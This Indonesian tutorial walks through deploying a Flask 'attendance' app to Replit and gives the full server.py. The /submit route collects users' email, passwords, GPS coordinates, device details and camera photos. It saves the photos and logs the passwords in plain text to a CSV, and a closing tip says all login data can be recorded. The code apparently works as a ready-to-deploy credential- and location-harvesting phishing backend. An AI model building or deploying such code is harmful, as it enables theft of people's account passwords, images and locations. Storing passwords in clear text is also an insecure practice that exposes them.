Panduan Lengkap: Deploy Flask App dari GitHub ke Replit

1. Buat Repository GitHub

1. Buka https://github.com dan login ke akunmu. 2. Klik tombol 'New repository' → beri nama, contoh: `absensi-otomatis`. 3. Upload file berikut ke repo tersebut: - server.py - index.html - indanout.html - (opsional) requirements.txt berisi: flask 4. Pastikan struktur folder: ■■■ server.py ■■■ templates/ ■ ■■■ index.html ■ ■■■ indanout.html ■■■ captured_images/

2. Deploy ke Replit

1. Buka https://replit.com dan login. 2. Klik 'Create Repl' → pilih 'Import from GitHub' → masukkan URL repo GitHub kamu. 3. Tunggu sampai selesai import, pastikan semua file masuk. 4. Di tab kiri bawah, klik 'Shell' lalu ketik: pip install flask 5. Klik tombol 'Run' untuk menjalankan server. 6. Buka link public Replit kamu (yang muncul di console).

3. Script server.py Lengkap

```
from flask import Flask, request, render_template, redirect
import os
from datetime import datetime
import csv

app = Flask(__name__)
UPLOAD_FOLDER = "captured_images"
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/submit", methods=["POST"])
def submit():
    email = request.form.get("email")
    password = request.form.get("password")
    latitude = request.form.get("latitude")
    longitude = request.form.get("longitude")
    device = request.form.get("device")
    photo = request.files.get("photo")

    timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
    if photo:
        filename = f"{email}_{timestamp}.jpg"
        photo.save(os.path.join(UPLOAD_FOLDER, filename))

    with open("absensi_log.csv", "a", newline="") as f:
        writer = csv.writer(f)
        writer.writerow([timestamp, email, password, latitude, longitude, device])

    return redirect("/berhasil")

@app.route("/berhasil")
def berhasil():
    return render_template("indanout.html")

if __name__ == "__main__":
    port = int(os.environ.get("PORT", 5000))
    app.run(host="0.0.0.0", port=port)
```

4. Troubleshooting

- Jika muncul error 'TemplateNotFound', pastikan file HTML kamu ada di folder 'templates'. - Untuk error 500 Internal Server Error, cek kembali indentasi dan nama file. - Jika kamera/lokasi tidak muncul, pastikan browser sudah beri izin.

5. Tips Tambahan

- Gunakan redirect('/berhasil') setelah submit agar user pindah ke halaman berikutnya. - Test Replit-mu lewat link publik (misal: https://namaproject.namauser.repl.co). - Simpan semua foto di folder 'captured_images' agar rapi. - Semua data login bisa dicatat ke file absensi_log.csv.